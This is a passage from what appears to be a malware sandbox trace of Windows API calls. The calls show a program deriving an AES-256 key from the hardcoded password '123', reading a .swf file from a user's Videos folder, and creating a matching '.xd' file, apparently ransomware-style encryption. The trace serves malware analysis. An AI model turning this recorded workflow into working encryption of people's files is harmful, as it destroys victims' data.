returned 1 [0067.725] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.725] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0067.725] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.725] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0067.725] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0067.725] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.725] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0067.726] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.726] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.726] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0067.726] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.726] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.726] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.726] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.726] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.726] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0067.726] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0067.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0067.726] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0067.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0067.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164df90, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0067.727] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0067.727] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa670) returned 1 [0067.727] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.727] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.727] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0067.727] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.727] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.727] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.728] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.728] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.728] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0067.728] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.728] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.728] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.728] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.728] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.728] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.728] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0067.728] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.728] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.728] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0067.728] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.728] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0067.728] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0067.728] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.728] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.728] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0067.728] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0067.728] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0067.728] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0067.729] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.729] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.729] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.729] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.729] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0067.729] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.729] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0067.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621498, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0067.729] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0067.729] CryptCreateHash (in: hProv=0x17aa670, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0067.729] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.729] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.729] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.729] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0067.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629590, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0067.730] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0067.730] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0067.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629550, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0067.730] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.730] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.730] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.730] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0067.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621888, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0067.730] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0067.730] CryptHashData (hHash=0x164c630, pbData=0x1629570, dwDataLen=0x3, dwFlags=0x1) returned 1 [0067.730] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.730] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.730] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.730] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.730] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.730] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0067.731] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0067.731] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0067.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621648, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0067.731] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0067.731] CryptDeriveKey (in: hProv=0x17aa670, Algid=0x6610, hBaseData=0x164c630, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c3f0) returned 1 [0067.731] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.731] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.731] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.731] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.731] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.731] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.731] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0067.731] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0067.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164df90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0067.732] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0067.732] CryptDestroyHash (hHash=0x164c630) returned 1 [0067.732] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.732] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.733] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.734] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.734] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.734] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\wwAGXyXvOmvvjE Z1.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\elhb95brq rnakly\\wwagxyxvomvvje z1.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0067.734] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.734] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0067.734] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.734] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.734] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.734] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\elhb95brq rnakly")) returned 0x10 [0067.734] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\wwAGXyXvOmvvjE Z1.swf.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\elhb95brq rnakly\\wwagxyxvomvvje z1.swf.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0067.735] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.735] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.735] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.735] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.737] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0067.737] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0067.739] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x5ffb, lpOverlapped=0x0) returned 1 [0067.739] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0067.743] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.743] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.744] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.744] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0067.744] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.744] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.744] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0067.744] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0067.744] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0067.744] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0067.744] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0067.744] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.745] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0067.745] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0067.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0067.745] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0067.745] CryptGetKeyParam (in: hKey=0x164c3f0, dwParam=0x7, pbData=0x1629660, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629660*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0067.745] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0067.745] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0067.745] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0067.745] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 